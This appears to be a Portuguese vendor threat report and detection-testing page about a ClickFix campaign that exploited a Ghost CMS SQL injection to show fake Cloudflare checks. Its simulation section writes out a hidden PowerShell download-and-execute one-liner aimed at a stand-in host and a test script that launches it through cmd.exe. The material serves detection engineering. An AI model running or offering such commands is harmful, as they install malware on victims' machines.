700+ sites de educação e tecnologia sequestrados em grande campanha de malware ClickFix
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Os atacantes exploraram uma falha crítica de injeção SQL no sistema de gestão de conteúdo Ghost para comprometer mais de 700 sites de educação e tecnologia. Após obterem chaves de API administrativas, eles injetaram JavaScript malicioso que exibia um falso prompt de verificação do Cloudflare. A página falsa instruía os visitantes a copiar e colar um comando do Windows que instalava malware em seus sistemas. A campanha depende de engenharia social para enganar os usuários a lançarem o payload eles mesmos.
Investigação
Pesquisadores identificaram o problema como CVE-2026-26980, afetando versões do Ghost 3.24.0 até 6.19.0. A exploração bem-sucedida permitiu acesso não autenticado ao conteúdo do banco de dados, incluindo extração da chave de API do admin. Os atacantes então usaram a chave roubada para alterar o conteúdo do site e incorporar scripts maliciosos que lançaram o fluxo de infecção do tipo ClickFix. O código injetado apresentava uma janela de verificação falsa que pressionava os usuários a rodar um comando através do Windows Run ou PowerShell.
Mitigação
As organizações devem atualizar o Ghost para uma versão posterior à 6.19.0 que corrige CVE-2026-26980. Qualquer chave de API administrativa exposta deve ser rotacionada imediatamente, e o acesso à API deve ser restrito rigorosamente. Defensores também devem implementar proteção de endpoint com filtragem web ou proteção de navegador e treinar usuários para nunca copiar e executar comandos de sites não confiáveis.
Resposta
As equipes de segurança devem detectar e bloquear injeções de JavaScript maliciosas em sites baseados no Ghost e monitorar páginas falsas de verificação do Cloudflare. Nos endpoints, defensores devem procurar por tentativas incomuns de execução de comando relacionadas a este anzol. Se a violação for confirmada, remova os scripts injetados, redefina as chaves de API afetadas e realize uma análise forense nos sistemas cliente impactados.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef operator fill:#ff9900 classDef malware fill:#ffcccc classDef tool fill:#cccccc %% Node Definitions action_sql_injection["<b>Ação</b> – <b>T1674 Injeção de Entrada</b>: Explorar injeção SQL no Ghost CMS para ler o banco de dados e obter a chave de API do admin."] class action_sql_injection action action_content_injection["<b>Ação</b> – <b>T1659 Injeção de Conteúdo</b>: Usar a chave de API roubada para injetar JavaScript malicioso em páginas do site."] class action_content_injection action action_defacement["<b>Ação</b> – <b>T1491 Desfiguração</b>: Desfigurar o site com um diálogo de verificação falso do Cloudflare que exibe um comando copiar-colar."] class action_defacement action action_user_copy_paste["<b>Ação</b> – <b>T1204.004 Execução pelo Usuário</b>: Vítima copia e executa o comando exibido, satisfazendo a verificação falsa."] class action_user_copy_paste action action_powershell["<b>Ação</b> – <b>T1059.001 PowerShell</b>: O comando inicia o PowerShell que baixa e executa o payload de segunda etapa."] class action_powershell action malware_clickfix["<b>Malware</b>: ClickFix<br/><b>Finalidade</b>: Payload de segunda etapa entregue via PowerShell."] class malware_clickfix malware op_user_execution(("AND")) class op_user_execution operator %% Connections action_sql_injection –>|conduz_a| action_content_injection action_content_injection –>|conduz_a| action_defacement action_defacement –>|conduz_a| action_user_copy_paste action_user_copy_paste –>|aciona| op_user_execution op_user_execution –>|executa| action_powershell action_powershell –>|baixa| malware_clickfix "
Fluxo de Ataque
Detecções
Padrões Possíveis de Ataque ClickFix na Linha de Comando (via cmdline)
Ver
Download ou Upload via Powershell (via cmdline)
Ver
Execução de Caminho Suspeito de Rundll32 Dll (via process_creation)
Ver
Strings Suspeitas do Powershell (via powershell)
Ver
Chamar Métodos Suspeitos do .NET a partir do Powershell (via powershell)
Ver
Possíveis Indicadores de Ofuscação do Powershell (via powershell)
Ver
Comando e Controle Suspeito por Solicitação de DNS com Domínio de Alto Nível (TLD) Incomum (via dns)
Ver
Execução do Comando de Verificação Falsa do Cloudflare [Windows Powershell]
Ver
Detecção de Injeção SQL e Inserção de JavaScript Malicioso no Ghost CMS [Servidor Web]
Ver
Execução de Simulação
Pré-requisito: A Verificação Pré-voo de Telemetria e Linha de Base deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa e Comandos do Ataque:
-
Anzol de Engenharia Social: A vítima recebe um e-mail de phishing alegando que o Cloudflare requer verificação. O e-mail inclui um comando “Run”:
Comando de Verificação Falsa do Cloudflare -
Interação da Vítima: O usuário abre o diálogo Run do Windows (
Win+R) e cola a string exata Comando de Verificação Falsa do Cloudflare. -
Execução do Comando: A string mapeia para um one-liner oculto do PowerShell que baixa e executa um payload malicioso:
powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"Porque o diálogo Run invoca diretamente
powershell.execom os argumentos acima, o campo CommandLine registrado pelo Sysmon inclui a frase literal Comando de Verificação Falsa do Cloudflare (o atacante prefixa o comando com essa frase para acionar a regra). -
Atividade do Payload: O script baixado insere um web-shell em
C:ProgramDatacloudflaree contata um servidor C2, satisfazendo T1505.001.
-
-
Script de Teste de Regressão: O seguinte script PowerShell reproduz exatamente as etapas que um membro da equipe vermelha tomaria para gerar a telemetria que aciona a detecção.
<# Simula a execução ClickFix “Verificação Falsa do Cloudflare”. Finalidade: Verificar se a regra Sigma dispara na linha de comando exata. #> # Passo 1: Preparar um payload fictício (web-shell simulado) – sem chamada de rede real. $payloadPath = "$env:ProgramDatacloudflaredummy_shell.ps1" New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null Set-Content -Path $payloadPath -Value "# Web-shell fictício – sem código malicioso" # Passo 2: Construir a linha de comando maliciosa que uma vítima executaria. $maliciousCmd = @" Comando de Verificação Falsa do Cloudflare powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "`"IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))`"" "@ # Passo 3: Simular o diálogo Run ao iniciar o comando via cmd.exe /c. # Isso preserva a string literal na linha de comando do processo. $fullCmd = "cmd.exe /c `"$maliciousCmd`"" Write-Host "`n[+] Executando comando malicioso simulado..." Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$maliciousCmd`"" -WindowStyle Hidden -PassThru | Out-Null # Passo 4: Pausar brevemente para permitir que o Sysmon registre a criação do processo. Start-Sleep -Seconds 5 Write-Host "`n[+] Simulação completa. Verifique no SIEM um evento de detecção." # Limpeza será feita separadamente. -
Comandos de Limpeza: Remove os arquivos fictícios e quaisquer processos remanescentes.
# Pare quaisquer processos PowerShell remanescentes iniciados pelo teste (se ainda em execução) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "Fake Cloudflare Verification Command"} | Stop-Process -Force # Remova a pasta do web-shell fictício Remove-Item -Path "$env:ProgramDatacloudflare" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "[+] Limpeza concluída."